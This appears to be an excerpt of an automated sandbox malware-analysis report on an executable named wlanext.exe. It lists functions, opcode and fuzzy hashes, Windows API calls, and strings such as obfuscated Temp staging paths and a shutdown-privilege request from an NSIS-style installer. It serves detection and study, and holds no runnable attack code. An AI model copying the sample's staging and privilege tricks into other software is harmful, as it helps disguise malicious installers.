Opcode ID: e18e2e280bc9dac73442c9013ecbbc9ffd89d6ab97207a6e68e982842323e913
Instruction ID: a7ecb2daa1f5766fe5bc2ecd60c626b273b005d5cfe3e25626e50a7c0be52804
Opcode Fuzzy Hash: e18e2e280bc9dac73442c9013ecbbc9ffd89d6ab97207a6e68e982842323e913
Instruction Fuzzy Hash: 94F0C239A0060DCFCB14EFE4E1595ECB7B2FB89366F2000AAD406B6250CB325E44CF64

Uniqueness

Uniqueness Score: -1.00%

Function 05B59AF0 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1812582937.0000000005B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5b50000_alex.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8528d7b06aaf15cad6b813a2ac53c911a42fe1ae3bf15c9b0a495443904118cf
Instruction ID: b8507c5d97f571207e1acb9076e714d5dcd253e9b788a95e8d1dafd2684f0858
Opcode Fuzzy Hash: 8528d7b06aaf15cad6b813a2ac53c911a42fe1ae3bf15c9b0a495443904118cf
Instruction Fuzzy Hash: 23E04F30A0820CD7DB08EFA8E44969DBF75EB81215F5141B9D80527360DF301E41DF86

Uniqueness

Uniqueness Score: -1.00%

Function 0557F508 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1810998974.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5570000_alex.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91bef31612d8e8fc1a6cace6e268a5d7aa02ad3f5f82ff0b668ac88f6772e063
Instruction ID: 8f5b3489f91dcb8127afa9aa23444bbc213683968af8cbb9e66bcdc04cfb8834
Opcode Fuzzy Hash: 91bef31612d8e8fc1a6cace6e268a5d7aa02ad3f5f82ff0b668ac88f6772e063
Instruction Fuzzy Hash: 22E07575D0120CEFCB41DFA4D5458DDBBB9EB48204F1081A6D805A2200EB305B55DF81

Uniqueness

Uniqueness Score: -1.00%

Function 055750B8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1810998974.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5570000_alex.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92a339c513077137f29038e958076cdeca9e21ed1d26ba6a35b0f21755695191
Instruction ID: 7f2b285e534679c67c639a284144c88b38145c5019b6c080f45bc2fe4b26d044
Opcode Fuzzy Hash: 92a339c513077137f29038e958076cdeca9e21ed1d26ba6a35b0f21755695191
Instruction Fuzzy Hash: 26E086B4E0020DEFCB00EFA4E51245DBFBAFB5470071085A9E805D7318DA326F04DB51

Uniqueness

Uniqueness Score: -1.00%

Function 05577C20 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1810998974.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5570000_alex.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d34dbbf8ea3657355bac0ad656cf39d6bee26445ddf933e75306ac53ae2c1d3
Instruction ID: e8b9386baf1ca0645b522173e66ba27fc08c0882d62cd45824be113ea50e5c06
Opcode Fuzzy Hash: 8d34dbbf8ea3657355bac0ad656cf39d6bee26445ddf933e75306ac53ae2c1d3
Instruction Fuzzy Hash: 9FD01730314A149FC728DA1CE84085AB7EAEF8C21032586A9F00AC7760DA60EC054684

Uniqueness

Uniqueness Score: -1.00%

Function 0557AD30 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1810998974.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5570000_alex.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 172beedd4065dc235dbce3398cd4dd097b87916bc354eda520f42728eae16f48
Instruction ID: 8627ec08e5eb89a82255c0dcc4bdaff07dd384cee84d404385ba2fcf8b4fafe0
Opcode Fuzzy Hash: 172beedd4065dc235dbce3398cd4dd097b87916bc354eda520f42728eae16f48
Instruction Fuzzy Hash: 54D0237110520EC7CB281B81F449F7D7769FB4055BF0C4028E40AC3200FB04D5075731

Uniqueness

Uniqueness Score: -1.00%

Function 05B5DC50 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1812582937.0000000005B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5b50000_alex.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcc788c89ca91730e34b729ea8219a5e8389f3dd18a4f57a8284d2c23dda9339
Instruction ID: b2e7731e51267bbebf5562e612368a4b11dcc8c699818a88934bd0082e815746
Opcode Fuzzy Hash: fcc788c89ca91730e34b729ea8219a5e8389f3dd18a4f57a8284d2c23dda9339
Instruction Fuzzy Hash: E2D09E72D4013D9B8B10AFE99C054EFFF79EF05650B418166E915A7110D3B15A21DBD1

Uniqueness

Uniqueness Score: -1.00%

Function 0557AD40 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1810998974.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5570000_alex.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5a459b107ebc92fec3561daf4a42596a1965008c0e7762e704eb13622fe11ed
Instruction ID: 0e9e1761a4901217a7f41d3aed0146ea60abf62dd139d1c763e32b44fa262cf6
Opcode Fuzzy Hash: f5a459b107ebc92fec3561daf4a42596a1965008c0e7762e704eb13622fe11ed
Instruction Fuzzy Hash: EED0123035520E87DB285BA6F499B7E77AEBF80657F044068F40EC2510EB16E9459561

Uniqueness

Uniqueness Score: -1.00%

Function 05B55DEC Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1812582937.0000000005B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5b50000_alex.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d4c8fed65aa49dfaa52e67f104bac2319961cf09fde92aee019ac598a7f6cd3
Instruction ID: 35a7cce0f1c6a0983c079eb8b8b05d6413c5a430d1f42fdeaafc2a748385e938
Opcode Fuzzy Hash: 9d4c8fed65aa49dfaa52e67f104bac2319961cf09fde92aee019ac598a7f6cd3
Instruction Fuzzy Hash: FBC09B3A1981049FCB45F754C988D29FBF1FF55310784CDD1764546074CA21D539D717

Uniqueness

Uniqueness Score: -1.00%

Function 05B5D5DC Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1812582937.0000000005B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5b50000_alex.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d1231ef1158f446807e8a7082d365023358290a50370f71f31dd06821ba1046
Instruction ID: 72c4f9575142707c628ea1dc046da6c9c1156cbbf1e9bc9703334877df517851
Opcode Fuzzy Hash: 9d1231ef1158f446807e8a7082d365023358290a50370f71f31dd06821ba1046
Instruction Fuzzy Hash: B1B012BD2DC700A59F0977644D88B2AD591EBB2710F608CD17B0E400188830F569911F

Uniqueness

Uniqueness Score: -1.00%

Function 0557CFA0 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1810998974.0000000005570000.00000040.00000800.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5570000_alex.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d86748fad36cee8418c788ccbcdd437cfc6aa88c2f471c5ef00937faa9ef460
Instruction ID: 514633b500eb17914874a952cc76d5d34d085653b6d0c28272cfa7910e125de7
Opcode Fuzzy Hash: 7d86748fad36cee8418c788ccbcdd437cfc6aa88c2f471c5ef00937faa9ef460
Instruction Fuzzy Hash: BEC0920598F6C84EEB03AB646C349706FE42E8205678E00C38CA1DA6B3D6088824C26B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 05B50040 Relevance: 6.7, Strings: 5, Instructions: 453COMMON

Download Yara Rule

Strings

(o^q, xrefs: 05B504E1
,bq, xrefs: 05B5026F
,bq, xrefs: 05B5027F
(o^q, xrefs: 05B504EB
Hbq, xrefs: 05B50558

Memory Dump Source

Source File: 0000000C.00000002.1812582937.0000000005B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5b50000_alex.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$,bq$,bq$Hbq
API String ID: 0-3486158592
Opcode ID: 050f7f27e479885ec1b8312899ca02d7984ca586ba5db743682df817919930a8
Instruction ID: 058609a45b874bb3c51aa5178e741523b8c7f545923be60198f14830010a8142
Opcode Fuzzy Hash: 050f7f27e479885ec1b8312899ca02d7984ca586ba5db743682df817919930a8
Instruction Fuzzy Hash: A4022B74A04519CFCB58EF69C498B6DB7B2FF88760B1581A9E806AB371DB31EC41CB50

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: wlanext.exePID: 7744, Parent PID: 7128COMMON

Execution Graph

Execution Coverage:	19.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14.6%
Total number of Nodes:	1303
Total number of Limit Nodes:	22

Executed Functions

Function 004032BF Relevance: 94.9, APIs: 34, Strings: 20, Instructions: 357
stringcomfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004032E4
GetVersion.KERNEL32 ref: 004032EA
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403313
#17.COMCTL32(00000007,00000009), ref: 00403335
OleInitialize.OLE32(00000000), ref: 0040333C
SHGetFileInfoA.SHELL32(0041ECF0,00000000,?,00000160,00000000), ref: 00403358
GetCommandLineA.KERNEL32(00422F20,NSIS Error), ref: 0040336D
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\a\wlanext.exe" ,00000000), ref: 00403380
CharNextA.USER32(00000000,"C:\Users\user\Desktop\a\wlanext.exe" ,00000020), ref: 004033AB
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 004034A8
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004034B9
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004034C5
GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004034D9
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004034E1
SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 004034F2
SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 004034FA
DeleteFileA.KERNELBASE(1033), ref: 0040350E

Part of subcall function 00406290: GetModuleHandleA.KERNEL32(?,?,?,00403329,00000009), ref: 004062A2
Part of subcall function 00406290: GetProcAddress.KERNEL32(00000000,?), ref: 004062BD

ExitProcess.KERNEL32(?), ref: 004035B7
OleUninitialize.OLE32(?), ref: 004035BC
ExitProcess.KERNEL32 ref: 004035DD
GetCurrentProcess.KERNEL32(00000028,?), ref: 004036FA
OpenProcessToken.ADVAPI32(00000000), ref: 00403701
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403719
AdjustTokenPrivileges.ADVAPI32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 00403738
ExitWindowsEx.USER32(00000002,80040002), ref: 0040375C
ExitProcess.KERNEL32 ref: 0040377F

Part of subcall function 004056ED: MessageBoxIndirectA.USER32(00409230), ref: 00405748

Strings

UXTHEME, xrefs: 00403307, 0040330C, 00403312
C:\Users\user\Desktop\a, xrefs: 0040360F, 00403614, 00403640
Dragelserneserst Videokassettesj-BronchoscopespecwUdlbsdatoernesubiBrmersscleretininCamotevanillerygdAspargessuppenauoimpresarioshammewMoroccanmedistersCanceratingaccoutSladresvoterendeyMusicalisationphlBudgetkontrollenePluperfectshtche Geneptubercularim Peri, xrefs: 0040364F
C:\Users\user\Desktop\a\wlanext.exe, xrefs: 0040369A
C:\Users\user\AppData\Local\Temp\, xrefs: 0040349D, 004034A2, 004034B8, 004034C4, 004034D3, 004034E0, 004034EC, 004034F4, 004035ED, 004035FE, 00403609, 00403615, 00403622, 00403631, 004036E0
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004032D3
", xrefs: 004033D0
Error launching installer, xrefs: 00403574
.tmp, xrefs: 00403604
"C:\Users\user\Desktop\a\wlanext.exe" , xrefs: 00403373, 00403379, 00403532
NSIS Error, xrefs: 0040335E
TMP, xrefs: 004034F5
C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically, xrefs: 0040348D, 0040358E, 00403638, 00403641
C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Memorda26\Fluorometric\Udvlgningers\arbejdsfelterne, xrefs: 00403599
SeShutdownPrivilege, xrefs: 00403713
TEMP, xrefs: 004034ED
1033, xrefs: 00403509
~nsu, xrefs: 004035E8
Low, xrefs: 004034DB
\Temp, xrefs: 004034BF

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: Process$Exit$EnvironmentFileHandleModulePathTempTokenVariableWindowslstrcat$AddressAdjustCharCommandCurrentDeleteDirectoryErrorIndirectInfoInitializeLineLookupMessageModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrlen
String ID: "$"C:\Users\user\Desktop\a\wlanext.exe" $.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically$C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Memorda26\Fluorometric\Udvlgningers\arbejdsfelterne$C:\Users\user\Desktop\a$C:\Users\user\Desktop\a\wlanext.exe$Dragelserneserst Videokassettesj-BronchoscopespecwUdlbsdatoernesubiBrmersscleretininCamotevanillerygdAspargessuppenauoimpresarioshammewMoroccanmedistersCanceratingaccoutSladresvoterendeyMusicalisationphlBudgetkontrollenePluperfectshtche Geneptubercularim Peri$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3329125770-2585240008
Opcode ID: 33b26d3717130e1d6863b8b1adc33971e6c345c7dae725326f91fe1c6faf745d
Instruction ID: 987bc29005933e48b9d04248005189ae3273ffe916fb5a61461eda946c2e522c
Opcode Fuzzy Hash: 33b26d3717130e1d6863b8b1adc33971e6c345c7dae725326f91fe1c6faf745d
Instruction Fuzzy Hash: FCC109706082816AE7216F259D49A2F3EACEF81706F44447FF481761E2CB7C9A05CB6E

Uniqueness

Uniqueness Score: -1.00%

Function 0040524E Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 004052AD
GetDlgItem.USER32(?,000003EE), ref: 004052BC
GetClientRect.USER32(?,?), ref: 004052F9
GetSystemMetrics.USER32(00000002), ref: 00405300
SendMessageA.USER32(?,0000101B,00000000,?), ref: 00405321
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 00405332
SendMessageA.USER32(?,00001001,00000000,?), ref: 00405345
SendMessageA.USER32(?,00001026,00000000,?), ref: 00405353
SendMessageA.USER32(?,00001024,00000000,?), ref: 00405366
ShowWindow.USER32(00000000,?,0000001B,?), ref: 00405388
ShowWindow.USER32(?,00000008), ref: 0040539C
GetDlgItem.USER32(?,000003EC), ref: 004053BD
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 004053CD
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 004053E6
SendMessageA.USER32(00000000,00002001,00000000,?), ref: 004053F2
GetDlgItem.USER32(?,000003F8), ref: 004052CB

Part of subcall function 00404111: SendMessageA.USER32(00000028,?,00000001,00403F42), ref: 0040411F

GetDlgItem.USER32(?,000003EC), ref: 0040540E
CreateThread.KERNELBASE(00000000,00000000,Function_000051E2,00000000), ref: 0040541C
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00405423
ShowWindow.USER32(00000000), ref: 00405446
ShowWindow.USER32(?,00000008), ref: 0040544D
ShowWindow.USER32(00000008), ref: 00405493
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004054C7
CreatePopupMenu.USER32 ref: 004054D8
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 004054ED
GetWindowRect.USER32(?,000000FF), ref: 0040550D
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405526
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405562
OpenClipboard.USER32(00000000), ref: 00405572
EmptyClipboard.USER32 ref: 00405578
GlobalAlloc.KERNEL32(00000042,?), ref: 00405581
GlobalLock.KERNEL32(00000000), ref: 0040558B
SendMessageA.USER32(?,0000102D,00000000,?), ref: 0040559F
GlobalUnlock.KERNEL32(00000000), ref: 004055B8
SetClipboardData.USER32(00000001,00000000), ref: 004055C3
CloseClipboard.USER32 ref: 004055C9

Strings

mutules Setup: Installing, xrefs: 0040553E

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendChangeClientDataEmptyFindLockMetricsNotificationOpenSystemThreadTrackUnlock
String ID: mutules Setup: Installing
API String ID: 4154960007-2560759542
Opcode ID: bcb707e213859598cfde742c0afb05bfa4c7e0b2565d905950356405b0c12e27
Instruction ID: e0dc4773203ce2f112709eab9a11bfc184f4d069c8d5349c47d5b80479340f4b
Opcode Fuzzy Hash: bcb707e213859598cfde742c0afb05bfa4c7e0b2565d905950356405b0c12e27
Instruction Fuzzy Hash: 10A148B1900208BFDF119F60DD89AAE7BB9FB48355F00407AFA01B61A0C7B55E51DF69

Uniqueness

Uniqueness Score: -1.00%

Function 00405799 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileA.KERNEL32(?,?,74DF3410,74DF2EE0,00000000), ref: 004057C2
lstrcatA.KERNEL32(00420D38,\*.*,00420D38,?,?,74DF3410,74DF2EE0,00000000), ref: 0040580A
lstrcatA.KERNEL32(?,00409014,?,00420D38,?,?,74DF3410,74DF2EE0,00000000), ref: 0040582B
lstrlenA.KERNEL32(?,?,00409014,?,00420D38,?,?,74DF3410,74DF2EE0,00000000), ref: 00405831
FindFirstFileA.KERNELBASE(00420D38,?,?,?,00409014,?,00420D38,?,?,74DF3410,74DF2EE0,00000000), ref: 00405842
FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 004058EF
FindClose.KERNEL32(00000000), ref: 00405900

Strings

\*.*, xrefs: 00405804
8B, xrefs: 004057F2
"C:\Users\user\Desktop\a\wlanext.exe" , xrefs: 00405799

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\a\wlanext.exe" $8B$\*.*
API String ID: 2035342205-762855410
Opcode ID: 1fed1c1a3d44080880cd481bfada98ee6670ad8272612fd42423e87fb17bc8c2
Instruction ID: 8d03ba635bdf6d692437a4f2007131f6bbb84493a6188974bf12e3b4770be62e
Opcode Fuzzy Hash: 1fed1c1a3d44080880cd481bfada98ee6670ad8272612fd42423e87fb17bc8c2
Instruction Fuzzy Hash: 3E51AF71900A14EADF217B618C49BAF7AB8DF42724F14807BF850762D2D73C8992DE6D

Uniqueness

Uniqueness Score: -1.00%

Function 00406542 Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e78d97ed3c230bfcbd776d1da080b0f670dc0f56a58da5166f9bdd2003ef958d
Instruction ID: 395035d2fa7d2bfd2a07fc8d885f942395c55dc3dc65efbd6096f39d55049081
Opcode Fuzzy Hash: e78d97ed3c230bfcbd776d1da080b0f670dc0f56a58da5166f9bdd2003ef958d
Instruction Fuzzy Hash: 18F16671D00229CBCF28CFA8C8946ADBBB1FF44305F25856ED856BB281D7385A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 004061FB Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE(74DF3410,00421580,00421138,00405A9A,00421138,00421138,00000000,00421138,00421138,74DF3410,?,74DF2EE0,004057B9,?,74DF3410,74DF2EE0), ref: 00406206
FindClose.KERNEL32(00000000), ref: 00406212

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770233766.0000000000407000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000409000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000422000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000424000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000426000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000428000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770249073.0000000000433000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.1770371034.0000000000435000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_wlanext.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: f9303f41664d55177506eb3caad4b25aa18344ea0c32c7844788a1b00efad07c
Instruction ID: 9db82b8fa8063fa17328456ed946e1162a1eeecbf7bffbc6415ee5c88b4ce2a6
Opcode Fuzzy Hash: f9303f41664d55177506eb3caad4b25aa18344ea0c32c7844788a1b00efad07c
Instruction Fuzzy Hash: 6FD0133555D02057C30027746C0C44779545F653307124B77F456F52F0D3345C7245DD

Uniqueness

Uniqueness Score: -1.00%

Function 00403C09 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C45
ShowWindow.USER32(?), ref: 00403C62
DestroyWindow.USER32 ref: 00403C76
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403C92
GetDlgItem.USER32(?,?), ref: 00403CB3
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403CC7
IsWindowEnabled.USER32(00000000), ref: 00403CCE
GetDlgItem.USER32(?,00000001), ref: 00403D7C
GetDlgItem.USER32(?,00000002), ref: 00403D86
SetClassLongA.USER32(?,000000F2,?), ref: 00403DA0
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403DF1
GetDlgItem.USER32(?,00000003), ref: 00403E97
ShowWindow.USER32(00000000,?), ref: 00403EB8
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403ECA
EnableWindow.USER32(?,?), ref: 00403EE5
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403EFB
EnableMenuItem.USER32(00000000), ref: 00403F02
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403F1A
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403F2D
lstrlenA.KERNEL32(mutules Setup: Installing,?,mutules Setup: Installing,00422F20), ref: 00403F56
SetWindowTextA.USER32(?,mutules Setup: Installing), ref: 00403F65
ShowWindow.USER32(?,0000000A), ref: 00404099

Strings

mutules Setup: Installing, xrefs: 00403F42, 00403F4C, 00403F55, 00403F63

Memory Dump Source

Source File: 0000000E.00000002.1770218433.0000000000401000.00000020.00000001.01000000.00000011.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1770201562.0000000000400000.00000002.00000001.01000000.00000011.sdmpDownload File
